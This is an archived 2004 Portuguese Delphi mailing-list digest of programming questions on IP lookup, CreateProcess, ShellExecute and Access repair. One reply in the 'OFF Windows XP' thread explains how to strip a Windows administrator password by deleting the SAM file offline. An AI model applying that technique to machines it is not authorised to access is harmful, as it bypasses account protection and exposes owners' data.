[delphi-br] IP da conexão Internet
Olá, Pessoal,
Para determinar o IP da máquina, estou usando
a função abaixo. Ok, funciona.
Só que, em computadores que possuem também
rede local, esta função retorna o IP da rede, só que
eu quero o IP da conexão Internet.
O que devo fazer?
A função é:
function GetIP:string;
var
WSAData: TWSAData;
HostEnt: PHostEnt;
Name:string;
begin
WSAStartup(2, WSAData);
SetLength(Name, 255);
Gethostname(PChar(Name), 255);
SetLength(Name, StrLen(PChar(Name)));
HostEnt := gethostbyname(PChar(Name));
with HostEnt^ do
begin
Result := Format('%d.%d.%d.%d',
[Byte(h_addr^[0]),Byte(h_addr^[1]),
Byte(h_addr^[2]),Byte(h_addr^[3])]);
end;
WSACleanup;
end;
begin
var_str:=trim(getip);
if var_str='' then showmessage('Não foi possível determinar o IP desta máquina')
else showmessage('O IP desta máquina é '+var_str);
end;
Saudações,
Eduardo Paci Galvão
Engenheiro UFMG 1990
Belo Horizonte - Brasil
www.egalvao.com.br
[As partes desta mensagem que não continham texto foram removidas]
--
FAVOR REMOVER ESTA PARTE AO RESPONDER ESTA MENSAGEM
Para ver as mensagens antigas, acesse:
http://br.groups.yahoo.com/group/delphi-br/messages
Para falar com o moderador, envie um e-mail para:
[EMAIL PROTECTED] ou [EMAIL PROTECTED]
Links do Yahoo! Grupos
* Para visitar o site do seu grupo na web, acesse:
http://br.groups.yahoo.com/group/delphi-br/
* Para sair deste grupo, envie um e-mail para:
[EMAIL PROTECTED]
* O uso que você faz do Yahoo! Grupos está sujeito aos:
http://br.yahoo.com/info/utos.html
[delphi-br] OF-TOPIC: Qual o endereco dessa lista de InterBase
Pessoal: Ha' algum tempo, eu participava de uma lista de discussao sobre IB e Firebird, que era mantida pelo Carlos Cantu. Perdi o endereco dessa lista, e gostaria de saber se alguem pode me enviar. Muito obrigado Paulo [As partes desta mensagem que não continham texto foram removidas] -- FAVOR REMOVER ESTA PARTE AO RESPONDER ESTA MENSAGEM Para ver as mensagens antigas, acesse: http://br.groups.yahoo.com/group/delphi-br/messages Para falar com o moderador, envie um e-mail para: [EMAIL PROTECTED] ou [EMAIL PROTECTED] Links do Yahoo! Grupos * Para visitar o site do seu grupo na web, acesse: http://br.groups.yahoo.com/group/delphi-br/ * Para sair deste grupo, envie um e-mail para: [EMAIL PROTECTED] * O uso que você faz do Yahoo! Grupos está sujeito aos: http://br.yahoo.com/info/utos.html
[delphi-br] OF-TOPIC: Acessar o IB atraves de Terminal Service
Pessoal: Um colega necessita acessar, a partir de uma estacao em uma cidade, o IB que esta' em outra cidade. Ele esta' usando uma maquina XP com o client do Windows Terminal Services. Ele se logou na maquina da outra cidade, onde tem direitos de administrador, e executou o IBConsole. Ao tentar registrar o servidor tal como se ele estivesse lá na outra cidade, ele nao conseguiu registrar o servidor como servidor local. Somente fazendo o registro como servidor remoto e' que o IBConsole se logou no IB da maquina servidora (a maquina onde o IB esta' rodando e' a mesma maquina onde o servidor Terminal Service esta' rodando tambem. Pergunta: Isso e' normal ? Eu pensava que, ao se logar na maquina da outra cidade atraves do Terminal Service, tudo se passaria como se esse meu colega estivesse operando o proprio teclado da maquina do Terminal Service (onde o IB tambem esta' rodando). Logo, ele deveria ter registrado o servidor como local, dentro do IBConsole. Agradeco antecipadamente a quem possa comentar sobre isso Paulo [As partes desta mensagem que não continham texto foram removidas] -- FAVOR REMOVER ESTA PARTE AO RESPONDER ESTA MENSAGEM Para ver as mensagens antigas, acesse: http://br.groups.yahoo.com/group/delphi-br/messages Para falar com o moderador, envie um e-mail para: [EMAIL PROTECTED] ou [EMAIL PROTECTED] Links do Yahoo! Grupos * Para visitar o site do seu grupo na web, acesse: http://br.groups.yahoo.com/group/delphi-br/ * Para sair deste grupo, envie um e-mail para: [EMAIL PROTECTED] * O uso que você faz do Yahoo! Grupos está sujeito aos: http://br.yahoo.com/info/utos.html
Re: [delphi-br] OF-TOPIC: Qual o endereco dessa lista de InterBase
entaum cara, a lista mudou do yahoo para o grupos.com.br e agora, faz pouco tempo, tipo uma semana, o cantu mudou a lista para um servidor próprio! ta muito bom agora. para vc participar vc precisa entrar no site www.firebase.com.br procure por lista de discussão e pronto. espero ter ajudar []'s Vicente Desenvolvedor - Original Message - From: Paulo Sérgio Dias To: [EMAIL PROTECTED] Sent: Wednesday, September 29, 2004 7:11 AM Subject: [delphi-br] OF-TOPIC: Qual o endereco dessa lista de InterBase Pessoal: Ha' algum tempo, eu participava de uma lista de discussao sobre IB e Firebird, que era mantida pelo Carlos Cantu. Perdi o endereco dessa lista, e gostaria de saber se alguem pode me enviar. Muito obrigado Paulo [As partes desta mensagem que não continham texto foram removidas] -- FAVOR REMOVER ESTA PARTE AO RESPONDER ESTA MENSAGEM Para ver as mensagens antigas, acesse: http://br.groups.yahoo.com/group/delphi-br/messages Para falar com o moderador, envie um e-mail para: [EMAIL PROTECTED] ou [EMAIL PROTECTED] Yahoo! Grupos, um serviço oferecido por: -- Links do Yahoo! Grupos a.. Para visitar o site do seu grupo na web, acesse: http://br.groups.yahoo.com/group/delphi-br/ b.. Para sair deste grupo, envie um e-mail para: [EMAIL PROTECTED] c.. O uso que você faz do Yahoo! Grupos está sujeito aos Termos do Serviço do Yahoo!. [As partes desta mensagem que não continham texto foram removidas] -- FAVOR REMOVER ESTA PARTE AO RESPONDER ESTA MENSAGEM Para ver as mensagens antigas, acesse: http://br.groups.yahoo.com/group/delphi-br/messages Para falar com o moderador, envie um e-mail para: [EMAIL PROTECTED] ou [EMAIL PROTECTED] Links do Yahoo! Grupos * Para visitar o site do seu grupo na web, acesse: http://br.groups.yahoo.com/group/delphi-br/ * Para sair deste grupo, envie um e-mail para: [EMAIL PROTECTED] * O uso que você faz do Yahoo! Grupos está sujeito aos: http://br.yahoo.com/info/utos.html
Re: [delphi-br] OFF Windows XP
Pega o HD, coloca como slave em outra maquina com XP, entra como adm desta maquina, acessa o hd do BIOS ( Bicho Ignorante Operando Sistema) e copia oa que precisa, na sequencia DETONA o hd do cara e instala tudo novamente, e diz pra ele esquecer as senhas novamente. - Original Message - From: Hudson [EMAIL PROTECTED] To: [EMAIL PROTECTED] Sent: Wednesday, September 29, 2004 12:18 AM Subject: [delphi-br] OFF Windows XP Ola! Estou fazendo uma manuteção, so q o burro do cliente esqueceu a senha de adiministrador e as demais senhaentão tento entrar pelo modo de seguraça, mas tambem tem uma senha, diz ele q colocou a senha para barra curiosos, mas esqueceu, pensei formatar, mas não posso pois ele tem arquivo q não pode perder sem fazer uma copia..o q devo fazer grato [As partes desta mensagem que não continham texto foram removidas] -- FAVOR REMOVER ESTA PARTE AO RESPONDER ESTA MENSAGEM Para ver as mensagens antigas, acesse: http://br.groups.yahoo.com/group/delphi-br/messages Para falar com o moderador, envie um e-mail para: [EMAIL PROTECTED] ou [EMAIL PROTECTED] Links do Yahoo! Grupos -- FAVOR REMOVER ESTA PARTE AO RESPONDER ESTA MENSAGEM Para ver as mensagens antigas, acesse: http://br.groups.yahoo.com/group/delphi-br/messages Para falar com o moderador, envie um e-mail para: [EMAIL PROTECTED] ou [EMAIL PROTECTED] Links do Yahoo! Grupos * Para visitar o site do seu grupo na web, acesse: http://br.groups.yahoo.com/group/delphi-br/ * Para sair deste grupo, envie um e-mail para: [EMAIL PROTECTED] * O uso que você faz do Yahoo! Grupos está sujeito aos: http://br.yahoo.com/info/utos.html
[delphi-br] CreateProcess
Por favor, alguém sabe me dizer como funciona a rotina do CreateProcess ??? Josué F. Coelho Jr. TECHMAIL - Desenvolvimento de Sistemas * (11) 3749-1133 ramal 110 * [EMAIL PROTECTED] [As partes desta mensagem que não continham texto foram removidas] -- FAVOR REMOVER ESTA PARTE AO RESPONDER ESTA MENSAGEM Para ver as mensagens antigas, acesse: http://br.groups.yahoo.com/group/delphi-br/messages Para falar com o moderador, envie um e-mail para: [EMAIL PROTECTED] ou [EMAIL PROTECTED] Links do Yahoo! Grupos * Para visitar o site do seu grupo na web, acesse: http://br.groups.yahoo.com/group/delphi-br/ * Para sair deste grupo, envie um e-mail para: [EMAIL PROTECTED] * O uso que você faz do Yahoo! Grupos está sujeito aos: http://br.yahoo.com/info/utos.html
[delphi-br] posicao no dbgrid
Pessoal, Gostaria de saber se de alguma forma posso saber em qual posicao de um grid ou dbgrid esta a minha informacao... Ex. informacao em [LinhaXColuna] [As partes desta mensagem que não continham texto foram removidas] -- FAVOR REMOVER ESTA PARTE AO RESPONDER ESTA MENSAGEM Para ver as mensagens antigas, acesse: http://br.groups.yahoo.com/group/delphi-br/messages Para falar com o moderador, envie um e-mail para: [EMAIL PROTECTED] ou [EMAIL PROTECTED] Links do Yahoo! Grupos * Para visitar o site do seu grupo na web, acesse: http://br.groups.yahoo.com/group/delphi-br/ * Para sair deste grupo, envie um e-mail para: [EMAIL PROTECTED] * O uso que você faz do Yahoo! Grupos está sujeito aos: http://br.yahoo.com/info/utos.html
[delphi-br] ModelMaker ou outro editor de UML
pessoal, to comecando a usar uml, na verdade ainda naum sei nada a respeito, vcs poderiam me indicar alguem prg para modelagem, ou se tiverem alguma apostila, artigo qq coisaheheheh valeu Vicente Desenvolvedor [As partes desta mensagem que não continham texto foram removidas] -- FAVOR REMOVER ESTA PARTE AO RESPONDER ESTA MENSAGEM Para ver as mensagens antigas, acesse: http://br.groups.yahoo.com/group/delphi-br/messages Para falar com o moderador, envie um e-mail para: [EMAIL PROTECTED] ou [EMAIL PROTECTED] Links do Yahoo! Grupos * Para visitar o site do seu grupo na web, acesse: http://br.groups.yahoo.com/group/delphi-br/ * Para sair deste grupo, envie um e-mail para: [EMAIL PROTECTED] * O uso que você faz do Yahoo! Grupos está sujeito aos: http://br.yahoo.com/info/utos.html
Re: [delphi-br] Como detectar se TCP/IP está instalado?
Daniel, Entre em contato PVT... = Eduardo Jedliczka GeraSoft Informática Apucarana - PR = - Original Message - From: Daniel / Tecnobyte To: [EMAIL PROTECTED] Sent: Tuesday, September 28, 2004 11:13 PM Subject: [delphi-br] Como detectar se TCP/IP está instalado? Estou montando um instalador para um programa, mas tal programa só vai funcionar se o protocolo TCP/IP estiver instalado na máquina. Procurando pelo google descobri que se o protocolo estiver instalado no Win9x e WinME, vai haver no Registro do Windows a chave abaixo: HKEY_LOCAL_MACHINE\Enum\Network\MSTCP No Windows NT, 2000 e XP a chave seria esta: HKEY_LOCAL_MACHINE\Software\Microsoft\tcpip\CurrentVersion A dica diz que se o TCP/IP não estiver instalado não vai existir esta chave. Será que é seguro testar desta forma? Ou seja, existe a possibilidade do protocolo TCP/IP estar instalado mesmo sem existir esta chave no Registro do Windows? Atenciosamente. Daniel P. Guimarães Tecnobyte informática www.tecnobyte.com.br -- FAVOR REMOVER ESTA PARTE AO RESPONDER ESTA MENSAGEM Para ver as mensagens antigas, acesse: http://br.groups.yahoo.com/group/delphi-br/messages Para falar com o moderador, envie um e-mail para: [EMAIL PROTECTED] ou [EMAIL PROTECTED] Yahoo! Grupos, um serviço oferecido por: -- Links do Yahoo! Grupos a.. Para visitar o site do seu grupo na web, acesse: http://br.groups.yahoo.com/group/delphi-br/ b.. Para sair deste grupo, envie um e-mail para: [EMAIL PROTECTED] c.. O uso que você faz do Yahoo! Grupos está sujeito aos Termos do Serviço do Yahoo!. [As partes desta mensagem que não continham texto foram removidas] -- FAVOR REMOVER ESTA PARTE AO RESPONDER ESTA MENSAGEM Para ver as mensagens antigas, acesse: http://br.groups.yahoo.com/group/delphi-br/messages Para falar com o moderador, envie um e-mail para: [EMAIL PROTECTED] ou [EMAIL PROTECTED] Links do Yahoo! Grupos * Para visitar o site do seu grupo na web, acesse: http://br.groups.yahoo.com/group/delphi-br/ * Para sair deste grupo, envie um e-mail para: [EMAIL PROTECTED] * O uso que você faz do Yahoo! Grupos está sujeito aos: http://br.yahoo.com/info/utos.html
Re: [delphi-br] OFF Windows XP
Faz o seguinte: se a partição for FAT32 dá o boot nele com um diskete do 98, ou coloca o HD dele em outra máquina, aí entra na pasta C:\WINDOWS\system32\config faz um backup do arquivo SAM e depois apaga ele e reinicia a máquina, a senha do administrador será apagada, fiz isso no W2KPRO e fungo, tentae! Obs: só não sei quanto aos outros usuários cadastrados o que acontece com essa operação. falows - Original Message - From: Hudson [EMAIL PROTECTED] To: [EMAIL PROTECTED] Sent: Wednesday, September 29, 2004 12:18 AM Subject: [delphi-br] OFF Windows XP Ola! Estou fazendo uma manuteção, so q o burro do cliente esqueceu a senha de adiministrador e as demais senhaentão tento entrar pelo modo de seguraça, mas tambem tem uma senha, diz ele q colocou a senha para barra curiosos, mas esqueceu, pensei formatar, mas não posso pois ele tem arquivo q não pode perder sem fazer uma copia..o q devo fazer grato [As partes desta mensagem que não continham texto foram removidas] -- FAVOR REMOVER ESTA PARTE AO RESPONDER ESTA MENSAGEM Para ver as mensagens antigas, acesse: http://br.groups.yahoo.com/group/delphi-br/messages Para falar com o moderador, envie um e-mail para: [EMAIL PROTECTED] ou [EMAIL PROTECTED] Links do Yahoo! Grupos -- FAVOR REMOVER ESTA PARTE AO RESPONDER ESTA MENSAGEM Para ver as mensagens antigas, acesse: http://br.groups.yahoo.com/group/delphi-br/messages Para falar com o moderador, envie um e-mail para: [EMAIL PROTECTED] ou [EMAIL PROTECTED] Links do Yahoo! Grupos * Para visitar o site do seu grupo na web, acesse: http://br.groups.yahoo.com/group/delphi-br/ * Para sair deste grupo, envie um e-mail para: [EMAIL PROTECTED] * O uso que você faz do Yahoo! Grupos está sujeito aos: http://br.yahoo.com/info/utos.html
Re: [delphi-br] CreateProcess
Josué,
Ele cria uma chamada ao processo específico na
tabela de processos no sistema operacional, não está
ligado a aplicação, podendo vc terminar a aplicação
que o processo permance ativo.
Ex:
var
StartupInfo : TStartupInfo;
ProcessInfo : TProcessInformation;
begin
FillChar(StartupInfo,Sizeof(TStartupInfo),0);
with StartupInfo do
begin
cb := Sizeof(TStartupInfo);
dwFlags := STARTF_USESHOWWINDOW;
wShowWindow := SW_SHOWNORMAL;
end;
CreateProcess(PChar('c:\winnt\system32\notepad.exe'),nil,nil,nil,False,
REALTIME_PRIORITY_CLASS,nil,nil,StartupInfo,ProcessInfo);
Application.ProcessMessages;
Application.Terminate;
O notepad vai continuar sendo executado mesmo que
a sua aplicação feche.
O createprocess, como cria uma entrada no SO,
cria então uma thread no SO, o flag
REALTIME_PRIORITY_CLASS diz que este será de máxima
prioridade, mas tem mais outros 3 flags, na
Windows.pas.
Para saber mais como funciona a tabela de
processos e o fork de processos de um SO, tem um livro
do Andrew S. Tanenbaum - Sistemas Operacionais
Modernos, que é muito bom.
[]'s
Fabiano Freitas
--- jrjuniore [EMAIL PROTECTED] escreveu:
-
Por favor,
alguém sabe me dizer como funciona a rotina do
CreateProcess ???
Josué F. Coelho Jr.
TECHMAIL - Desenvolvimento de Sistemas
* (11) 3749-1133 ramal 110
* [EMAIL PROTECTED]
[As partes desta mensagem que não continham texto
foram removidas]
--
FAVOR REMOVER ESTA PARTE AO RESPONDER ESTA
MENSAGEM
Para ver as mensagens antigas, acesse:
http://br.groups.yahoo.com/group/delphi-br/messages
Para falar com o moderador, envie um e-mail para:
[EMAIL PROTECTED] ou
[EMAIL PROTECTED]
Yahoo! Grupos, um serviço oferecido por:
-
Links do Yahoo! Grupos
Para visitar o site do seu grupo na web, acesse:
http://br.groups.yahoo.com/group/delphi-br/
Para sair deste grupo, envie um e-mail para:
[EMAIL PROTECTED]
O uso que você faz do Yahoo! Grupos está sujeito
aos Termos do Serviço do Yahoo!.
___
Yahoo! Acesso Grátis - Internet rápida e grátis. Instale o discador agora!
http://br.acesso.yahoo.com/
--
FAVOR REMOVER ESTA PARTE AO RESPONDER ESTA MENSAGEM
Para ver as mensagens antigas, acesse:
http://br.groups.yahoo.com/group/delphi-br/messages
Para falar com o moderador, envie um e-mail para:
[EMAIL PROTECTED] ou [EMAIL PROTECTED]
Links do Yahoo! Grupos
* Para visitar o site do seu grupo na web, acesse:
http://br.groups.yahoo.com/group/delphi-br/
* Para sair deste grupo, envie um e-mail para:
[EMAIL PROTECTED]
* O uso que você faz do Yahoo! Grupos está sujeito aos:
http://br.yahoo.com/info/utos.html
[delphi-br] erro dificil de entender
Galera , peguei um sistema que jah nao manuseava ha muito tempo. Preciso fazeer umas alterações. O problema eh que o me diz que tcombobox nao existe. Tirei 2 combos que tenho na aplicação e ele passou. Agora me diz que não tenho timage. Parei por aqui porque acho que ele chegarah até tedid, tmemo e vou limpar tudo. Allguem tem alguma ideia. Já abri um sistema diferente desse e não deu os erros acima. Gratissimo [EMAIL PROTECTED] --- Outgoing mail is certified Virus Free. Checked by AVG anti-virus system (http://www.grisoft.com). Version: 6.0.698 / Virus Database: 455 - Release Date: 02/06/2004 -- FAVOR REMOVER ESTA PARTE AO RESPONDER ESTA MENSAGEM Para ver as mensagens antigas, acesse: http://br.groups.yahoo.com/group/delphi-br/messages Para falar com o moderador, envie um e-mail para: [EMAIL PROTECTED] ou [EMAIL PROTECTED] Links do Yahoo! Grupos * Para visitar o site do seu grupo na web, acesse: http://br.groups.yahoo.com/group/delphi-br/ * Para sair deste grupo, envie um e-mail para: [EMAIL PROTECTED] * O uso que você faz do Yahoo! Grupos está sujeito aos: http://br.yahoo.com/info/utos.html
[delphi-br] Estrutura de tabelas
Pessoal, Como eu consigo descobrir quais os indices e chave primaria de uma tabela do ms-access, atraves de um programa delphi? obrigado Clayton Bonelli Anitec Tecnologia e Sistemas Ltda [As partes desta mensagem que não continham texto foram removidas] -- FAVOR REMOVER ESTA PARTE AO RESPONDER ESTA MENSAGEM Para ver as mensagens antigas, acesse: http://br.groups.yahoo.com/group/delphi-br/messages Para falar com o moderador, envie um e-mail para: [EMAIL PROTECTED] ou [EMAIL PROTECTED] Links do Yahoo! Grupos * Para visitar o site do seu grupo na web, acesse: http://br.groups.yahoo.com/group/delphi-br/ * Para sair deste grupo, envie um e-mail para: [EMAIL PROTECTED] * O uso que você faz do Yahoo! Grupos está sujeito aos: http://br.yahoo.com/info/utos.html
Re: [delphi-br] trabalhar com word
Só refazendo a pergunta, tentei usar shellexecute() mas dá um erro de string . o que estou fazendo de errado? - Original Message - From: Debora To: [EMAIL PROTECTED] Sent: Tuesday, September 28, 2004 10:45 AM Subject: Re: [delphi-br] trabalhar com word bom, pra usar o shellexecute sou obrigada a declarar em uses a shellapi , mas qual é a sintaxe do comando shellexecute?No caso do winexec seria assim WinExec(Pchar(datamodule1.TabelaCaminho.AsString),SW_Normal;- Original Message - From: Ricardo To: [EMAIL PROTECTED] Sent: Tuesday, September 28, 2004 10:01 AM Subject: Re: [delphi-br] trabalhar com word Winexec so funciona 100% em win98 aposente este comando de seus programas use shellexecute . - Original Message - From: Programação - Terra [EMAIL PROTECTED] To: [EMAIL PROTECTED] Sent: Tuesday, September 28, 2004 8:21 AM Subject: Re: [delphi-br] trabalhar com word Debora, se você estiver em uma plataforma NT, acho que o ShellExecute funcionará melhor!!! - Original Message - From: Debora To: [EMAIL PROTECTED] Sent: Monday, September 27, 2004 12:34 PM Subject: Re: [delphi-br] trabalhar com word a primeira parte de gravar os caminhos funcionou direitinho mas quando chamo o evento para usar winexec não acontece nada. e o ponteiro está apontado para a tabela. Vê se eu fiz certo. Usei um cmponente bitbtn e coloquei no evento onclick o comando winexec. O que estou fazendo de errado. Eu estava errada apenas porque não estava usando opendialog e sim savedialog. Obrigada, débora [EMAIL PROTECTED] - Original Message - From: Debora To: Cartorio Sent: Monday, September 27, 2004 7:18 AM Subject: Fw: [delphi-br] trabalhar com word - Original Message - From: Sávio Cler To: [EMAIL PROTECTED] Sent: Sunday, September 26, 2004 4:22 PM Subject: Re: [delphi-br] trabalhar com word Sim begin WinExec(Pchar(TabelaCaminho.AsString),SW_Normal). ouusar ShellAPI tb. end; Sávio Cler ICQ 142428832 www.sgm.rg3.net [EMAIL PROTECTED] Sto A. de Pádua - Rio de Janeiro Contato Pessoal: (22)9812-0656 ~ ~ ( @ @ ) ---o0Oo-(_)-oO0o--- Precisando de dicas? www.deephi.hpg.com.br --- Mais de 3 downloads -ooO---Ooo- - Original Message - From: Debora [EMAIL PROTECTED] To: [EMAIL PROTECTED] Sent: Sunday, September 26, 2004 3:47 PM Subject: Re: [delphi-br] trabalhar com word entendi, mas e se depois eu necessitar abrir o arquivo. como poderia abrir o arquivo tipo um botão ? obrigada Débora da Silva Costa [EMAIL PROTECTED] - Original Message - From: Sávio Cler To: [EMAIL PROTECTED] Sent: Sunday, September 26, 2004 11:30 AM Subject: Re: [delphi-br] trabalhar com word Caminho é uma campo CHAR ou VARCHAR, só passar a string. TabelaCaminho.AsString:='c:\dados\001.doc'; Ou menlhor if OpenDialog1.Exsecute then TabelaCaminho.AsString:=OpenDialog1.FileName; Sávio Cler ICQ 142428832 www.sgm.rg3.net [EMAIL PROTECTED] Sto A. de Pádua - Rio de Janeiro Contato Pessoal: (22)9812-0656 ~ ~ ( @ @ ) ---o0Oo-(_)-oO0o--- Precisando de dicas? www.deephi.hpg.com.br --- Mais de 3 downloads -ooO---Ooo- - Original Message - From: Debora [EMAIL PROTECTED] To: [EMAIL PROTECTED] Sent: Sunday, September 26, 2004 9:38 AM Subject: [delphi-br] trabalhar com word gente , alguém teria um exemplo de como fazer pra gravar o caminho de um arquivo na tabela. ex: cod 001 especie procuração caminho c:\dados\001.doc img c:\d\dos\img\img.jpg como eu posso fazer isso? uso delphi 5, interbase 6 , e não uso tables, uso o ibdataset. Obrigada Débora [EMAIL PROTECTED] [As partes desta mensagem que não continham texto foram removidas] -- FAVOR REMOVER ESTA PARTE AO RESPONDER ESTA MENSAGEM Para ver as mensagens antigas, acesse: http://br.groups.yahoo.com/group/delphi-br/messages Para falar com o moderador, envie um e-mail para: [EMAIL
Re: [delphi-br] Access
Já tentei, não resolveu. Existe algum utilitário para recuperar banco de dados Access? Florentino - Agrosoft [EMAIL PROTECTED] wrote: Tente, no access recuperar e compactar o banco de dados. - Original Message - From: Edivaldo David To: delphi-br Sent: Tuesday, September 28, 2004 4:34 PM Subject: [delphi-br] Access Olá Galera! A minha aplicação é delphi + access, durante uma operação meu computador reiniciou e, vocês já sabem... O banco de dados não abre mais. O que eu faço? __ Do You Yahoo!? Tired of spam? Yahoo! Mail has the best spam protection around http://mail.yahoo.com [As partes desta mensagem que não continham texto foram removidas] -- FAVOR REMOVER ESTA PARTE AO RESPONDER ESTA MENSAGEM Para ver as mensagens antigas, acesse: http://br.groups.yahoo.com/group/delphi-br/messages Para falar com o moderador, envie um e-mail para: [EMAIL PROTECTED] ou [EMAIL PROTECTED] Links do Yahoo! Grupos -- FAVOR REMOVER ESTA PARTE AO RESPONDER ESTA MENSAGEM Para ver as mensagens antigas, acesse: http://br.groups.yahoo.com/group/delphi-br/messages Para falar com o moderador, envie um e-mail para: [EMAIL PROTECTED] ou [EMAIL PROTECTED] Links do Yahoo! Grupos - Yahoo! Acesso Grátis - Internet rápida e grátis. Instale o discador agora! [As partes desta mensagem que não continham texto foram removidas] -- FAVOR REMOVER ESTA PARTE AO RESPONDER ESTA MENSAGEM Para ver as mensagens antigas, acesse: http://br.groups.yahoo.com/group/delphi-br/messages Para falar com o moderador, envie um e-mail para: [EMAIL PROTECTED] ou [EMAIL PROTECTED] Links do Yahoo! Grupos * Para visitar o site do seu grupo na web, acesse: http://br.groups.yahoo.com/group/delphi-br/ * Para sair deste grupo, envie um e-mail para: [EMAIL PROTECTED] * O uso que você faz do Yahoo! Grupos está sujeito aos: http://br.yahoo.com/info/utos.html
Re: [delphi-br] Access
vc ta usando access 2000 ou 97? - Original Message - From: Edivaldo David [EMAIL PROTECTED] To: [EMAIL PROTECTED] Sent: Wednesday, September 29, 2004 9:54 AM Subject: Re: [delphi-br] Access Já tentei, não resolveu. Existe algum utilitário para recuperar banco de dados Access? Florentino - Agrosoft [EMAIL PROTECTED] wrote: Tente, no access recuperar e compactar o banco de dados. - Original Message - From: Edivaldo David To: delphi-br Sent: Tuesday, September 28, 2004 4:34 PM Subject: [delphi-br] Access Olá Galera! A minha aplicação é delphi + access, durante uma operação meu computador reiniciou e, vocês já sabem... O banco de dados não abre mais. O que eu faço? __ Do You Yahoo!? Tired of spam? Yahoo! Mail has the best spam protection around http://mail.yahoo.com [As partes desta mensagem que não continham texto foram removidas] -- FAVOR REMOVER ESTA PARTE AO RESPONDER ESTA MENSAGEM Para ver as mensagens antigas, acesse: http://br.groups.yahoo.com/group/delphi-br/messages Para falar com o moderador, envie um e-mail para: [EMAIL PROTECTED] ou [EMAIL PROTECTED] Links do Yahoo! Grupos -- FAVOR REMOVER ESTA PARTE AO RESPONDER ESTA MENSAGEM Para ver as mensagens antigas, acesse: http://br.groups.yahoo.com/group/delphi-br/messages Para falar com o moderador, envie um e-mail para: [EMAIL PROTECTED] ou [EMAIL PROTECTED] Links do Yahoo! Grupos - Yahoo! Acesso Grátis - Internet rápida e grátis. Instale o discador agora! [As partes desta mensagem que não continham texto foram removidas] -- FAVOR REMOVER ESTA PARTE AO RESPONDER ESTA MENSAGEM Para ver as mensagens antigas, acesse: http://br.groups.yahoo.com/group/delphi-br/messages Para falar com o moderador, envie um e-mail para: [EMAIL PROTECTED] ou [EMAIL PROTECTED] Links do Yahoo! Grupos ** Scanned by eScan Anti-Virus and Content Security Software. Visit http://www.mwti.net for more info on eScan and MailScan. ** -- FAVOR REMOVER ESTA PARTE AO RESPONDER ESTA MENSAGEM Para ver as mensagens antigas, acesse: http://br.groups.yahoo.com/group/delphi-br/messages Para falar com o moderador, envie um e-mail para: [EMAIL PROTECTED] ou [EMAIL PROTECTED] Links do Yahoo! Grupos * Para visitar o site do seu grupo na web, acesse: http://br.groups.yahoo.com/group/delphi-br/ * Para sair deste grupo, envie um e-mail para: [EMAIL PROTECTED] * O uso que você faz do Yahoo! Grupos está sujeito aos: http://br.yahoo.com/info/utos.html
RES: [delphi-br] CreateProcess
Blz, mas será que tem como eu deixar a minha aplicação criada, como
showModal, em relação a aplicação que criou o processo ??
Júnior Coelho.
Desenvolvimento de Sistemas
* (11) 3266 - 1286
* (11) 7175 - 1885
* [EMAIL PROTECTED]
-Mensagem original-
De: FS Under [mailto:[EMAIL PROTECTED]
Enviada em: quarta-feira, 29 de setembro de 2004 09:06
Para: [EMAIL PROTECTED]
Assunto: Re: [delphi-br] CreateProcess
Josué,
Ele cria uma chamada ao processo específico na tabela de processos no
sistema operacional, não está ligado a aplicação, podendo vc terminar a
aplicação que o processo permance ativo.
Ex:
var
StartupInfo : TStartupInfo;
ProcessInfo : TProcessInformation;
begin
FillChar(StartupInfo,Sizeof(TStartupInfo),0);
with StartupInfo do
begin
cb := Sizeof(TStartupInfo);
dwFlags := STARTF_USESHOWWINDOW;
wShowWindow := SW_SHOWNORMAL;
end;
CreateProcess(PChar('c:\winnt\system32\notepad.exe'),nil,nil,nil,False,
REALTIME_PRIORITY_CLASS,nil,nil,StartupInfo,ProcessInfo);
Application.ProcessMessages;
Application.Terminate;
O notepad vai continuar sendo executado mesmo que a sua aplicação
feche.
O createprocess, como cria uma entrada no SO, cria então uma thread no
SO, o flag REALTIME_PRIORITY_CLASS diz que este será de máxima prioridade,
mas tem mais outros 3 flags, na Windows.pas.
Para saber mais como funciona a tabela de processos e o fork de
processos de um SO, tem um livro do Andrew S. Tanenbaum - Sistemas
Operacionais Modernos, que é muito bom.
[]'s
Fabiano Freitas
--- jrjuniore [EMAIL PROTECTED] escreveu:
-
Por favor,
alguém sabe me dizer como funciona a rotina do CreateProcess ???
Josué F. Coelho Jr.
TECHMAIL - Desenvolvimento de Sistemas
* (11) 3749-1133 ramal 110
* [EMAIL PROTECTED]
[As partes desta mensagem que não continham texto foram removidas]
--
FAVOR REMOVER ESTA PARTE AO RESPONDER ESTA MENSAGEM
Para ver as mensagens antigas, acesse:
http://br.groups.yahoo.com/group/delphi-br/messages
Para falar com o moderador, envie um e-mail para:
[EMAIL PROTECTED] ou
[EMAIL PROTECTED]
Yahoo! Grupos, um serviço oferecido por:
-
Links do Yahoo! Grupos
Para visitar o site do seu grupo na web, acesse:
http://br.groups.yahoo.com/group/delphi-br/
Para sair deste grupo, envie um e-mail para:
[EMAIL PROTECTED]
O uso que você faz do Yahoo! Grupos está sujeito aos Termos do Serviço do
Yahoo!.
___
Yahoo! Acesso Grátis - Internet rápida e grátis. Instale o discador agora!
http://br.acesso.yahoo.com/
--
FAVOR REMOVER ESTA PARTE AO RESPONDER ESTA MENSAGEM
Para ver as mensagens antigas, acesse:
http://br.groups.yahoo.com/group/delphi-br/messages
Para falar com o moderador, envie um e-mail para:
[EMAIL PROTECTED] ou [EMAIL PROTECTED]
Links do Yahoo! Grupos
--
FAVOR REMOVER ESTA PARTE AO RESPONDER ESTA MENSAGEM
Para ver as mensagens antigas, acesse:
http://br.groups.yahoo.com/group/delphi-br/messages
Para falar com o moderador, envie um e-mail para:
[EMAIL PROTECTED] ou [EMAIL PROTECTED]
Links do Yahoo! Grupos
* Para visitar o site do seu grupo na web, acesse:
http://br.groups.yahoo.com/group/delphi-br/
* Para sair deste grupo, envie um e-mail para:
[EMAIL PROTECTED]
* O uso que você faz do Yahoo! Grupos está sujeito aos:
http://br.yahoo.com/info/utos.html
[delphi-br] print dbgrid??
